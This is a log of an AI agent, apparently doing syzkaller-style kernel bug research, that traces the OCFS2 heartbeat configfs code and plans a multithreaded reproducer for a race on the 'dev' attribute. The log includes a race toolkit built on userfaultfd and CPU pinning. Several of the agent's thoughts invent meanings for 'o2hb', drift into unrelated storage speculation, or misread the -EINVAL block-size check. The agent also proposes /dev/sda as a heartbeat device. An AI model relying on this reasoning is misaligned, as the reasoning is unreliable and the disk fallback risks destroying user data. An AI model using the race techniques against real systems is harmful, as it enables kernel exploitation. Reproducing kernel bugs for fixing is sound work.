Thoughts: **My Thought Process Regarding Cluster Heartbeat Configuration**
Alright, so I'm delving into this "cluster" subsystem, and its configuration seems to be primarily managed through the `/sys/kernel/config/cluster` path in the sysfs filesystem. My first step in setting up a cluster is to create a directory for it, which I'm envisioning as `/sys/kernel/config/cluster/mycluster`. The system then automatically creates some substructures within this, specifically `node` and `heartbeat` subgroups, which makes sense for managing cluster nodes and their communication.
Next, to establish a heartbeat region – a crucial component for cluster node synchronization and failure detection – I need to create a directory under the `heartbeat` subgroup. I'll call this `/sys/kernel/config/cluster/mycluster/heartbeat/myregion`. Upon creating this, I expect to find a set of attributes that define the characteristics of this heartbeat region. I'm noting down the ones I've identified so far: `dev`, `block_bytes`, `blocks`, and `node`.
Now, I'm going to re-examine the logic for the `o2hb_region_dev_store` function. The relevant check is:
```c
if (reg->hr_blocks == 0 || reg->hr_start_block == 0 ||
reg->hr_block_bytes == 0)
return -EINVAL;
```
This tells me that before I can successfully write to the `dev` attribute, which presumably assigns a device to this heartbeat region, I absolutely *must* have valid values for `blocks`, `start_block`, and `block_bytes`. If any of these are zero, I'll hit an `-EINVAL` error.
However, this immediately brings up a point of confusion. The condition `reg->hr_start_block == 0` is flagged as returning `-EINVAL`. This implies that `start_block` cannot be zero. My initial thought was that it *could* be zero, perhaps indicating the start of the device, but this code explicitly forbids it. So, `start_block` must be a non-zero value. This leads me to my next immediate question: is `start_block` actually exposed as an attribute that I can write to, or is it something that's managed internally or derived elsewhere? I need to confirm this by checking the sysfs structure.
|
| 32/2 |
2026/09/04 20:38 |
tool |
grepper |
0m
Args: map[Expression:o2hb_region_.*_store]
Results: map[Output:fs/ocfs2/cluster/heartbeat.c=1571=static ssize_t o2hb_region_block_bytes_show(struct config_item *item,
--
fs/ocfs2/cluster/heartbeat.c-1576-
fs/ocfs2/cluster/heartbeat.c:1577:static ssize_t o2hb_region_block_bytes_store(struct config_item *item,
fs/ocfs2/cluster/heartbeat.c-1578- const char *page,
--
fs/ocfs2/cluster/heartbeat.c=1600=static ssize_t o2hb_region_start_block_show(struct config_item *item,
--
fs/ocfs2/cluster/heartbeat.c-1605-
fs/ocfs2/cluster/heartbeat.c:1606:static ssize_t o2hb_region_start_block_store(struct config_item *item,
fs/ocfs2/cluster/heartbeat.c-1607- const char *page,
--
fs/ocfs2/cluster/heartbeat.c=1627=static ssize_t o2hb_region_blocks_show(struct config_item *item, char *page)
--
fs/ocfs2/cluster/heartbeat.c-1631-
fs/ocfs2/cluster/heartbeat.c:1632:static ssize_t o2hb_region_blocks_store(struct config_item *item,
fs/ocfs2/cluster/heartbeat.c-1633- const char *page,
--
fs/ocfs2/cluster/heartbeat.c=1745=static int o2hb_populate_slot_data(struct o2hb_region *reg)
--
fs/ocfs2/cluster/heartbeat.c-1776- */
fs/ocfs2/cluster/heartbeat.c:1777:static ssize_t o2hb_region_dev_store(struct config_item *item,
fs/ocfs2/cluster/heartbeat.c-1778- const char *page,
]
|
| 33/2 |
2026/09/04 20:38 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 18506
output: 47
thoughts: 41
Thoughts: **My Thought Process Regarding Memory Block Management**
Alright, so my initial scan of the available attributes has confirmed that `block_bytes`, `start_block`, `blocks`, and `dev` are indeed the key pieces of information I'm working with concerning memory blocks. This is foundational. Now, my next logical step is to delve into the specifics of `o2hb_region_start_block_store`. This particular element, I suspect, will hold the critical details about where and how these memory blocks are being initiated within the O2HB (presumably Online High Availability Buffer) region. Understanding its structure and the data it contains will be paramount to grasping the overall memory allocation and management strategy at play here.
|
| 34/2 |
2026/09/04 20:38 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:fs/ocfs2/cluster/heartbeat.c Name:o2hb_region_start_block_store]
Results: map[SourceCode:1606: static ssize_t o2hb_region_start_block_store(struct config_item *item,
1607: const char *page,
1608: size_t count)
1609: {
1610: struct o2hb_region *reg = to_o2hb_region(item);
1611: unsigned long long tmp;
1612: char *p = (char *)page;
1613: ssize_t ret;
1614:
1615: if (reg->hr_bdev_file)
1616: return -EINVAL;
1617:
1618: ret = kstrtoull(p, 0, &tmp);
1619: if (ret)
1620: return -EINVAL;
1621:
1622: reg->hr_start_block = tmp;
1623:
1624: return count;
1625: }
SourceFile:fs/ocfs2/cluster/heartbeat.c]
|
| 35/2 |
2026/09/04 20:38 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 18878
output: 45
thoughts: 12
Thoughts: **My Internal Monologue on `o2hb_region_blocks_store`**
Ah, yes, `o2hb_region_blocks_store`. That's the part of the system that immediately springs to mind when I consider how we manage persistent, block-level storage within the `o2hb` (presumably "Oracle 2-Phase Hybrid Buffer") framework. My thought process immediately zeroes in on the fundamental purpose of this construct: it's the mechanism responsible for the actual *persistence* of data, specifically in discrete, addressable blocks.
When I think about `o2hb_region_blocks_store`, I'm picturing the underlying implementation. It's not just an abstract concept; it has to translate to concrete operations on disk or some other non-volatile storage medium. This means I'm anticipating considerations around:
* **Block Management:** How are these blocks allocated, deallocated, and tracked? Is there a free list, a bitmap, or some other scheme? I'm thinking about efficiency here – minimizing fragmentation, fast allocation/deallocation.
* **Block Identification and Addressing:** Each block needs a unique identifier. How are these addresses structured? Is it a simple linear offset, or something more complex involving physical device, cylinder, head, sector, or a logical mapping? This is crucial for read and write operations.
* **Data Integrity and Durability:** Given this is a "store," durability is paramount. What mechanisms are in place to ensure data written to a block is actually there and recoverable, even in the face of failures? This might involve write-ahead logging (WAL), checksums, or parity information associated with the blocks themselves.
* **Concurrency Control:** If multiple components or threads can access these blocks concurrently, how is that managed? Are there locks at the block level? What are the implications for performance versus consistency?
* **I/O Operations:** At its core, this component is about I/O. I'm thinking about the low-level calls to the operating system or hardware for reading and writing. Are these buffered? Are they synchronous or asynchronous? What are the performance characteristics of these I/O operations?
* **Error Handling and Recovery:** What happens when an I/O operation fails? How does `o2hb_region_blocks_store` detect and report these errors? More importantly, how does the system recover from them to maintain data consistency?
* **Relationship to the `o2hb` Region:** It's a "region blocks store." This implies it's part of a larger `o2hb` region. How does this block store interact with the higher-level abstractions within that region? Is it a backing store for in-memory structures within the region, or does it *define* the region's storage? The naming suggests the latter, where the region is composed of these blocks.
* **Scalability:** As the system grows, how does this block store scale? Can it handle an ever-increasing number of blocks? Are there performance bottlenecks that will emerge as the volume of data increases?
Essentially, when `o2hb_region_blocks_store` comes up, my mind is already diving into the granular, low-level details of how data is physically managed and made durable on a storage medium, within the context of the broader `o2hb` architecture. It's the foundation upon which the rest of the `o2hb` region's data management rests.
|
| 36/2 |
2026/09/04 20:38 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:fs/ocfs2/cluster/heartbeat.c Name:o2hb_region_blocks_store]
Results: map[SourceCode:1632: static ssize_t o2hb_region_blocks_store(struct config_item *item,
1633: const char *page,
1634: size_t count)
1635: {
1636: struct o2hb_region *reg = to_o2hb_region(item);
1637: unsigned long tmp;
1638: char *p = (char *)page;
1639: int ret;
1640:
1641: if (reg->hr_bdev_file)
1642: return -EINVAL;
1643:
1644: ret = kstrtoul(p, 0, &tmp);
1645: if (ret)
1646: return ret;
1647:
1648: if (tmp > O2NM_MAX_NODES || tmp == 0)
1649: return -ERANGE;
1650:
1651: reg->hr_blocks = (unsigned int)tmp;
1652:
1653: return count;
1654: }
SourceFile:fs/ocfs2/cluster/heartbeat.c]
|
| 37/2 |
2026/09/04 20:38 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 19255
output: 44
thoughts: 172
Thoughts: **My Thought Process Regarding Node Configuration and Block Parameters**
Alright, so I'm diving into this code, trying to get a handle on the constraints for a few key parameters. My immediate thoughts are:
First, for `blocks`, it seems pretty straightforward. It absolutely *must* be a value between 1 and `O2NM_MAX_NODES`. I'm noting that `O2NM_MAX_NODES` is capped at 255. So, a range of 1 to 255, inclusive, for `blocks`.
Then, `start_block` – that one appears more permissive. The only real rule I'm seeing is that it needs to be greater than 0. No upper bound is explicitly mentioned at this point, just that it's a positive value.
And for `block_bytes`, the requirements are quite specific. It has to be within the range of 512 to 4096 bytes. Crucially, it also needs to be a power of 2. This immediately tells me I'll need to ensure any value passed for `block_bytes` meets both these conditions.
Now, here's where things get a little more interesting, and I need to backtrack. I just noticed that `o2hb_region_dev_store` has an additional check:
```c
/* We can't heartbeat without having had our node number
* configured yet. */
if (o2nm_this_node() == O2NM_MAX_NODES)
return -EINVAL;
```
This is a critical point. This check tells me that before I can even think about performing a heartbeat operation, I *must* have successfully configured my node number. If `o2nm_this_node()` returns `O2NM_MAX_NODES` (which is 255, as I recalled earlier), it means the node number hasn't been set up yet, and the operation will fail with an `EINVAL` error.
This naturally leads me to the next question: how do I actually configure this node number in the first place? My immediate next step is to investigate how `o2nm_this_node` is intended to be set or initialized. I need to understand the flow that leads to a valid node number being assigned, before any of these other block-related parameters can be considered in a fully operational context.
|
| 38/2 |
2026/09/04 20:38 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:fs/ocfs2/cluster/nodemanager.c Name:o2nm_this_node]
Results: map[SourceCode: 131: u8 o2nm_this_node(void)
132: {
133: u8 node_num = O2NM_MAX_NODES;
134:
135: if (o2nm_single_cluster && o2nm_single_cluster->cl_has_local)
136: node_num = o2nm_single_cluster->cl_local_node;
137:
138: return node_num;
139: }
SourceFile:fs/ocfs2/cluster/nodemanager.c]
|
| 39/2 |
2026/09/04 20:38 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 19626
output: 29
thoughts: 30
Thoughts: **My Thought Process on Initialization Variables**
Alright, so my immediate task here is to ensure that the `cl_local_node` and `cl_has_local` variables are correctly initialized. My first instinct is to figure out precisely *where* these crucial flags are being set within the system. I need to trace their origins to understand the logic that dictates their values, which is paramount for ensuring the overall integrity of the system's state and its subsequent operations. I'll be looking to pinpoint the exact code paths and conditions that lead to their assignment.
|
| 40/2 |
2026/09/04 20:38 |
tool |
codesearch-find-references |
0m
Args: map[Name:o2nm_cluster::cl_local_node]
Results: map[References:[map[ReferenceKind:reads ReferencingEntityKind:function ReferencingEntityName:o2nm_node_group_drop_item SourceFile:fs/ocfs2/cluster/nodemanager.c SourceLine:613] map[ReferenceKind:writes ReferencingEntityKind:function ReferencingEntityName:o2nm_node_group_drop_item SourceFile:fs/ocfs2/cluster/nodemanager.c SourceLine:615] map[ReferenceKind:reads ReferencingEntityKind:function ReferencingEntityName:o2nm_node_local_store SourceFile:fs/ocfs2/cluster/nodemanager.c SourceLine:355] map[ReferenceKind:reads ReferencingEntityKind:function ReferencingEntityName:o2nm_node_local_store SourceFile:fs/ocfs2/cluster/nodemanager.c SourceLine:368] map[ReferenceKind:writes ReferencingEntityKind:function ReferencingEntityName:o2nm_node_local_store SourceFile:fs/ocfs2/cluster/nodemanager.c SourceLine:370] map[ReferenceKind:writes ReferencingEntityKind:function ReferencingEntityName:o2nm_node_local_store SourceFile:fs/ocfs2/cluster/nodemanager.c SourceLine:376] map[ReferenceKind:reads ReferencingEntityKind:function ReferencingEntityName:o2nm_this_node SourceFile:fs/ocfs2/cluster/nodemanager.c SourceLine:136]] TruncatedOutput:false]
|
| 41/2 |
2026/09/04 20:39 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 19982
output: 46
thoughts: 15
Thoughts: **My Thought Process**
Right, so the first thing that pops into my head when I'm faced with a new piece of code, especially something as potentially intricate as `o2nm_node_local_store`, is to get a handle on its fundamental purpose and implementation. My initial impulse is to delve into the specifics of that particular component. I need to understand *what* it is, *why* it exists within the broader context of `o2nm`, and *how* it's structured and operates. Is it a cache? A temporary holding area? A persistent store specific to a node? What are the data structures involved, and what are the expected read/write patterns? This initial focus on `o2nm_node_local_store` is crucial because it's the immediate point of entry into a potentially complex system, and a solid understanding here will likely illuminate the dependencies and interactions it has with other parts of `o2nm`. I'm essentially trying to map out its immediate neighborhood before I start exploring further afield.
|
| 42/2 |
2026/09/04 20:39 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:fs/ocfs2/cluster/nodemanager.c Name:o2nm_node_local_store]
Results: map[SourceCode: 323: static ssize_t o2nm_node_local_store(struct config_item *item, const char *page,
324: size_t count)
325: {
326: struct o2nm_node *node = to_o2nm_node(item);
327: struct o2nm_cluster *cluster;
328: unsigned long tmp;
329: char *p = (char *)page;
330: ssize_t ret;
331:
332: tmp = simple_strtoul(p, &p, 0);
333: if (!p || (*p && (*p != '\n')))
334: return -EINVAL;
335:
336: tmp = !!tmp; /* boolean of whether this node wants to be local */
337:
338: /* setting local turns on networking rx for now so we require having
339: * set everything else first */
340: if (!test_bit(O2NM_NODE_ATTR_ADDRESS, &node->nd_set_attributes) ||
341: !test_bit(O2NM_NODE_ATTR_NUM, &node->nd_set_attributes) ||
342: !test_bit(O2NM_NODE_ATTR_PORT, &node->nd_set_attributes))
343: return -EINVAL; /* XXX */
344:
345: o2nm_lock_subsystem();
346: cluster = to_o2nm_cluster_from_node(node);
347: if (!cluster) {
348: ret = -EINVAL;
349: goto out;
350: }
351:
352: /* the only failure case is trying to set a new local node
353: * when a different one is already set */
354: if (tmp && tmp == cluster->cl_has_local &&
355: cluster->cl_local_node != node->nd_num) {
356: ret = -EBUSY;
357: goto out;
358: }
359:
360: /* bring up the rx thread if we're setting the new local node. */
361: if (tmp && !cluster->cl_has_local) {
362: ret = o2net_start_listening(node);
363: if (ret)
364: goto out;
365: }
366:
367: if (!tmp && cluster->cl_has_local &&
368: cluster->cl_local_node == node->nd_num) {
369: o2net_stop_listening(node);
370: cluster->cl_local_node = O2NM_INVALID_NODE_NUM;
371: }
372:
373: node->nd_local = tmp;
374: if (node->nd_local) {
375: cluster->cl_has_local = tmp;
376: cluster->cl_local_node = node->nd_num;
377: }
378:
379: ret = count;
380:
381: out:
382: o2nm_unlock_subsystem();
383: return ret;
384: }
SourceFile:fs/ocfs2/cluster/nodemanager.c]
|
| 43/2 |
2026/09/04 20:39 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 20999
output: 23
thoughts: 45
Thoughts: **My Thought Process on Node Configuration**
My immediate task is to establish a new network node within our system. To do this, I first need to instantiate a node object. Once the node is created, I'll proceed to assign specific configuration parameters to its attributes. Primarily, I'll be setting the `ipv4_address` to define its network location, the `ipv4_port` to specify the communication channel, and `num` to assign a unique identifier. A crucial step will be to set the `local` attribute to `1`, indicating that this node is a local entity. After these initial assignments, I plan to perform a thorough review of all the node's attributes to ensure they have been set correctly and conform to our established standards.
|
| 44/2 |
2026/09/04 20:39 |
tool |
grepper |
0m
Args: map[Expression:o2nm_node_.*_store]
Results: map[Output:fs/ocfs2/cluster/nodemanager.c=178=enum {
--
fs/ocfs2/cluster/nodemanager.c-183-
fs/ocfs2/cluster/nodemanager.c:184:static ssize_t o2nm_node_num_store(struct config_item *item, const char *page,
fs/ocfs2/cluster/nodemanager.c-185- size_t count)
--
fs/ocfs2/cluster/nodemanager.c=234=static ssize_t o2nm_node_ipv4_port_show(struct config_item *item, char *page)
--
fs/ocfs2/cluster/nodemanager.c-238-
fs/ocfs2/cluster/nodemanager.c:239:static ssize_t o2nm_node_ipv4_port_store(struct config_item *item,
fs/ocfs2/cluster/nodemanager.c-240- const char *page, size_t count)
--
fs/ocfs2/cluster/nodemanager.c=262=static ssize_t o2nm_node_ipv4_address_show(struct config_item *item, char *page)
--
fs/ocfs2/cluster/nodemanager.c-266-
fs/ocfs2/cluster/nodemanager.c:267:static ssize_t o2nm_node_ipv4_address_store(struct config_item *item,
fs/ocfs2/cluster/nodemanager.c-268- const char *page,
--
fs/ocfs2/cluster/nodemanager.c=318=static ssize_t o2nm_node_local_show(struct config_item *item, char *page)
--
fs/ocfs2/cluster/nodemanager.c-322-
fs/ocfs2/cluster/nodemanager.c:323:static ssize_t o2nm_node_local_store(struct config_item *item, const char *page,
fs/ocfs2/cluster/nodemanager.c-324- size_t count)
]
|
| 45/2 |
2026/09/04 20:39 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 21600
output: 49
thoughts: 211
Thoughts: **Understanding Cluster Node Configuration**
My current focus is on configuring a cluster and its nodes. I've identified the key attributes for a node: `num`, `ipv4_port`, `ipv4_address`, and `local`. To establish a cluster named "mycluster" and a node within it called "mynode," I've initiated the setup using a sequence of bash commands. This involves creating directories within the `/sys/kernel/config/cluster/` hierarchy for both the cluster and the node.
I've begun populating these node-specific configuration files with values. Specifically, I'm setting `num` to `1`, `ipv4_port` to `7777`, and `ipv4_address` to `127.0.0.1`. I'm also setting the `local` attribute to `1`.
However, a thought just crossed my mind regarding the `ipv4_address` attribute. I'm providing `127.0.0.1`, which is indeed an IP address. But I need to be absolutely certain about the expected data type for `ipv4_address`. My next step is to verify this by consulting the `o2nm_node_ipv4_address_store` mechanism, as I want to ensure I'm correctly formatting the input for this crucial parameter.
|
| 46/2 |
2026/09/04 20:39 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:fs/ocfs2/cluster/nodemanager.c Name:o2nm_node_ipv4_address_store]
Results: map[SourceCode: 267: static ssize_t o2nm_node_ipv4_address_store(struct config_item *item,
268: const char *page,
269: size_t count)
270: {
271: struct o2nm_node *node = to_o2nm_node(item);
272: struct o2nm_cluster *cluster;
273: int ret, i;
274: struct rb_node **p, *parent;
275: unsigned int octets[4];
276: __be32 ipv4_addr = 0;
277:
278: ret = sscanf(page, "%3u.%3u.%3u.%3u", &octets[3], &octets[2],
279: &octets[1], &octets[0]);
280: if (ret != 4)
281: return -EINVAL;
282:
283: for (i = 0; i < ARRAY_SIZE(octets); i++) {
284: if (octets[i] > 255)
285: return -ERANGE;
286: be32_add_cpu(&ipv4_addr, octets[i] << (i * 8));
287: }
288:
289: o2nm_lock_subsystem();
290: cluster = to_o2nm_cluster_from_node(node);
291: if (!cluster) {
292: o2nm_unlock_subsystem();
293: return -EINVAL;
294: }
295:
296: ret = 0;
297: write_lock(&cluster->cl_nodes_lock);
298: if (o2nm_node_ip_tree_lookup(cluster, ipv4_addr, &p, &parent))
299: ret = -EEXIST;
300: else if (test_and_set_bit(O2NM_NODE_ATTR_ADDRESS,
301: &node->nd_set_attributes))
302: ret = -EBUSY;
303: else {
304: rb_link_node(&node->nd_ip_node, parent, p);
305: rb_insert_color(&node->nd_ip_node, &cluster->cl_node_ip_tree);
306: }
307: write_unlock(&cluster->cl_nodes_lock);
308: o2nm_unlock_subsystem();
309:
310: if (ret)
311: return ret;
312:
313: memcpy(&node->nd_ipv4_address, &ipv4_addr, sizeof(ipv4_addr));
314:
315: return count;
316: }
SourceFile:fs/ocfs2/cluster/nodemanager.c]
|
| 47/2 |
2026/09/04 20:39 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 22679
output: 40
thoughts: 526
Thoughts: **My Thought Process on Cluster Node and Heartbeat Configuration**
Alright, so the initial setup here seems quite standard. I'm looking at a dotted quad for an IP address, which immediately tells me we're dealing with network configuration. The C code then confirms this as I see `system` calls being used to manipulate files within the `/sys/kernel/config/cluster` hierarchy. This is the standard way to interact with the kernel's cluster configuration filesystem.
First, I'm provisioning a specific node within a cluster. The `mkdir -p` commands are for creating the necessary directory structure: `/sys/kernel/config/cluster/mycluster/node/mynode`. This establishes a unique identifier for this particular node within the `mycluster`.
Then, I'm populating the node's configuration. `echo 1 > .../num` likely sets a node number or an identifier for this node. `echo 7777 > .../ipv4_port` specifies the port for IPv4 communication, and `echo 127.0.0.1 > .../ipv4_address` assigns the loopback address. The `echo 1 > .../local` flag is interesting; it suggests marking this node as a local instance, possibly for testing or a single-machine cluster setup.
Next, I'm setting up a heartbeat region. This is crucial for cluster fault tolerance. Again, `mkdir -p` creates the directory for the region: `/sys/kernel/config/cluster/mycluster/heartbeat/myregion`.
The configuration for the heartbeat region involves `blocks`, `start_block`, and `block_bytes`. `echo 1 > .../blocks` and `echo 1 > .../start_block` imply a single contiguous block for the heartbeat data, starting at the very beginning of the defined region. `echo 4096 > .../block_bytes` is where things get a bit more technical. This sets the size of each block for the heartbeat mechanism to 4096 bytes.
Now, I need a backing device for this heartbeat region. The thought immediately jumps to block devices. I could use a loop device, or `/dev/loop0` specifically. However, I recall there are other options, like `/dev/ram0` or even `/dev/zero`. But I know that the system requires a *block device* for this operation. The `if (!S_ISBLK(fd_file(f)->f_mapping->host->i_mode))` check in the code snippet confirms this; it's explicitly verifying that the opened file descriptor points to a block device.
So, `/dev/loop0` is a strong candidate. However, a critical check is `sectsize != reg->hr_block_bytes`. This means the sector size of the underlying block device must match the `block_bytes` I've configured for the heartbeat region (which is 4096 in this case). Standard loop devices, by default, often have a logical block size of 512 bytes. If `/dev/loop0` has a 512-byte sector size and I've set `block_bytes` to 4096, this check will fail, and the operation will likely fall through to an error path (`out`).
This leads me to a potential problem: What if `/dev/loop0` isn't properly set up or backed by a file? Even if I open `/dev/loop0` in such a state, `bdev_logical_block_size` will still report 512 bytes. This reinforces the need to ensure the block device's sector size aligns with my `block_bytes` configuration. I need to investigate `bdev_logical_block_size` more closely to understand its behavior and implications in this context. The compatibility of the sector size is a key factor I need to consider to avoid this check failing.
|
| 48/2 |
2026/09/04 20:39 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:include/linux/blkdev.h Name:bdev_logical_block_size]
Results: map[SourceCode:1401: static inline unsigned int bdev_logical_block_size(struct block_device *bdev)
1402: {
1403: return queue_logical_block_size(bdev_get_queue(bdev));
1404: }
SourceFile:include/linux/blkdev.h]
|
| 49/2 |
2026/09/04 20:39 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 23326
output: 16
thoughts: 73
Thoughts: **My Thought Process**
Alright, so the core of this is understanding how the system handles block sizes, specifically in relation to a default value. I'm expecting that if the system's default logical block size is indeed 512 bytes, and I've explicitly set my desired `block_bytes` to 4096, then the comparison `sectsize != reg->hr_block_bytes` is going to evaluate to `true`. This inequality is precisely what I need to pinpoint a potential issue, perhaps a misconfiguration or an unexpected behavior when these two values diverge.
To really test this out and confirm my hypothesis, I need a practical demonstration. This is where the `race` toolkit comes in. My plan is to construct a C program that leverages this toolkit to intentionally create a scenario where this block size mismatch can occur. By triggering this specific condition, I'm aiming to expose any underlying race conditions or vulnerabilities that might arise from this discrepancy. Essentially, I'm setting up a controlled experiment to see if my understanding of the block size logic holds up under stress and to uncover any emergent problems that might not be obvious from just static code analysis.
|
| 50/2 |
2026/09/04 20:39 |
tool |
get-toolkit |
0m
Args:
Results: map[Toolkit:// Copyright 2026 syzkaller project authors. All rights reserved.
// Use of this source code is governed by Apache 2 LICENSE that can be found in the LICENSE file.
// IMPORTANT: Do not copy the macros or definitions below directly into your reproducer.
// Instead, add the following line to your reproducer:
// #include "race_toolkit.h"
// --- Race Condition Toolkit ---
// Macros and snippets for CPU pinning, memory barriers, and userfaultfd.
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <linux/futex.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <time.h>
#include <unistd.h>
// Unbuffered I/O: Ensure logs are written immediately.
#define SETUP_UNBUFFERED_IO() setvbuf(stdout, NULL, _IONBF, 0)
// CPU Pinning: Pin the current thread to a specific CPU core.
#define PIN_TO_CPU(cpu) \
do { \
cpu_set_t mask; \
CPU_ZERO(&mask); \
CPU_SET(cpu, &mask); \
if (sched_setaffinity(0, sizeof(mask), &mask) == -1) { \
perror("sched_setaffinity"); \
} \
} while (0)
// Memory Barrier: Ensure memory ordering.
#define MB() __atomic_thread_fence(__ATOMIC_SEQ_CST)
// Spin-wait Barrier: Wait until a memory location has a specific value.
// Best for tight race windows (low latency, no context switches).
#define WAIT_ON(addr, val) \
do { \
while (__atomic_load_n(addr, __ATOMIC_ACQUIRE) != (val)) \
; \
} while (0)
// Signal: Set a memory location to a specific value to release a WAIT_ON.
#define SIGNAL(addr, val) __atomic_store_n(addr, val, __ATOMIC_RELEASE)
// --- Timing Primitives ---
// Robust timing loops in VM environments (using CLOCK_MONOTONIC to avoid time(NULL) jumps).
static inline double timer_elapsed_sec(struct timespec* start)
{
struct timespec now;
if (clock_gettime(CLOCK_MONOTONIC, &now) == -1) {
perror("clock_gettime(CLOCK_MONOTONIC) elapsed");
exit(1);
}
return (double)(now.tv_sec - start->tv_sec) + (double)(now.tv_nsec - start->tv_nsec) / 1e9;
}
// Initialize a monotonic timer variable.
#define TIMER_START(t) \
struct timespec t; \
if (clock_gettime(CLOCK_MONOTONIC, &t) == -1) { \
perror("clock_gettime(CLOCK_MONOTONIC) start"); \
exit(1); \
}
// Check if the elapsed time since 't' is less than 'sec' seconds.
#define TIMER_NOT_EXPIRED(t, sec) (timer_elapsed_sec(&(t)) < (double)(sec))
// Futex-based Event: Shared with syzkaller executor.
// Best for general synchronization or longer waits to save CPU.
typedef struct {
int state;
} event_t;
static void event_init(event_t* ev)
{
ev->state = 0;
}
static void event_reset(event_t* ev)
{
ev->state = 0;
}
static void event_set(event_t* ev)
{
if (__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE)) {
fprintf(stderr, "event already set\n");
exit(1);
}
__atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE);
syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG, 1000000);
}
static void event_wait(event_t* ev)
{
while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0);
}
// userfaultfd setup: Register a memory range for page fault handling.
static int setup_uffd(void* addr, size_t len)
{
int uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1)
return -1;
struct uffdio_api api = {.api = UFFD_API, .features = 0};
if (ioctl(uffd, UFFDIO_API, &api) == -1) {
close(uffd);
return -1;
}
struct uffdio_register reg = {
.range = {.start = (uintptr_t)addr, .len = len},
.mode = UFFDIO_REGISTER_MODE_MISSING};
if (ioctl(uffd, UFFDIO_REGISTER, ®) == -1) {
close(uffd);
return -1;
}
return uffd;
}
// --- Guidance on Usage ---
// 1. Use WAIT_ON/SIGNAL for tight race conditions to avoid scheduling overhead.
// 2. Use event_t (futexes) for general coordination or when waiting for longer periods.
// 3. Always use PIN_TO_CPU to increase race probability on multi-core systems.
// 4. Use setup_uffd to register a memory range for page fault handling. This allows you to
// pause a thread accessing that memory until you handle the fault, creating a reliable
// and controllable race window.
// 5. Call SETUP_UNBUFFERED_IO() at the start of main() to ensure that logs are printed
// immediately. This is essential for understanding the exact interleaving of events
// when debugging race conditions.
// 6. For timing-based loops (e.g., running a race for 10 seconds), do NOT use time(NULL)
// or loops relying on real-time clocks, as VM clocks are highly unreliable and can fail or drift.
// Instead, use the robust monotonic timing primitives TIMER_START and TIMER_NOT_EXPIRED:
// TIMER_START(start);
// while (TIMER_NOT_EXPIRED(start, 10.0)) {
// // Your race logic here
// }
]
|
| 51/2 |
2026/09/04 20:39 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 25081
output: 38
thoughts: 2694
Thoughts: **My Thought Process on Reproducing a Kernel Race Condition**
My primary goal here is to expose a race condition within the OCFS2 cluster heartbeat mechanism, specifically related to how block device information is handled when multiple threads concurrently write to the `dev` attribute in `configfs`.
First, I need to ensure I have a valid block device to work with. The obvious candidate is `/dev/loop0`. If it's not available, I can fall back to `/dev/ram0` or even `/dev/sda` if it exists. The key constraint, however, is that the `o2hb_region_dev_store` function expects a block device, which is checked by `!S_ISBLK(fd_file(f)->f_mapping->host->i_mode)`. So, opening `/dev/loop0` with `O_RDWR` is my initial strategy.
Next, I know I need to write the file descriptor (fd) of this opened device to a specific `configfs` path: `/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev`. This means I'll need to format the integer `fd` into a string. A simple `sprintf(fd_str, "%d", fd)` will suffice.
The core of the race condition lies in having two threads concurrently write this `fd_str` to the `dev` attribute.
Before diving into the code, I need to set up the necessary `configfs` structure. This involves creating the cluster, node, and heartbeat region directories, and then populating them with the required parameters like `num`, `ipv4_port`, `ipv4_address`, `local`, `blocks`, `start_block`, and `block_bytes`. I'll use `system()` calls for this initial setup.
A crucial consideration is whether the `ocfs2_nodemanager` module is loaded. `configfs` structures won't appear if the relevant module isn't active. While syzkaller might handle module loading automatically, it's safer and more explicit to ensure it's loaded. I'll use `modprobe ocfs2_nodemanager`. If that fails, trying `modprobe ocfs2` is a fallback. I also need to make sure `configfs` itself is mounted at `/sys/kernel/config`.
I then need to verify the conditions that might prevent the race from occurring. The code checks `reg->hr_blocks`, `reg->hr_start_block`, and `reg->hr_block_bytes` for zero values, which I've already set to non-zero values. The more critical check is the block size validation: `sectsize = bdev_logical_block_size(reg_bdev(reg)); if (sectsize != reg->hr_block_bytes)`. If the device's logical block size (e.g., 512 bytes) doesn't match what I've set for `hr_block_bytes` (e.g., 4096 bytes), the function returns `-EINVAL`. This mismatch is precisely what I want to trigger to ensure the code proceeds to the problematic section.
Now, let's focus on the potential race. The `o2hb_region_dev_store` function calls `bdev_file_open_by_dev` to get a `struct file *` representing the block device. Let's call the two threads Thread 1 and Thread 2.
1. **Thread 1** opens the device and assigns its `struct file *` (let's call it `file1`) to `reg->hr_bdev_file`.
2. **Thread 2** also opens the device and assigns its `struct file *` (`file2`) to `reg->hr_bdev_file`, overwriting Thread 1's assignment.
3. **Thread 1** proceeds to calculate `sectsize`. It calls `reg_bdev(reg)`, which uses `reg->hr_bdev_file`. At this point, it will see `file2` (because Thread 2 overwrote it). `bdev_logical_block_size` will likely succeed here using `file2`.
4. **Thread 2** also calculates `sectsize`, again using `reg->hr_bdev_file`, which still points to `file2`. This also likely succeeds.
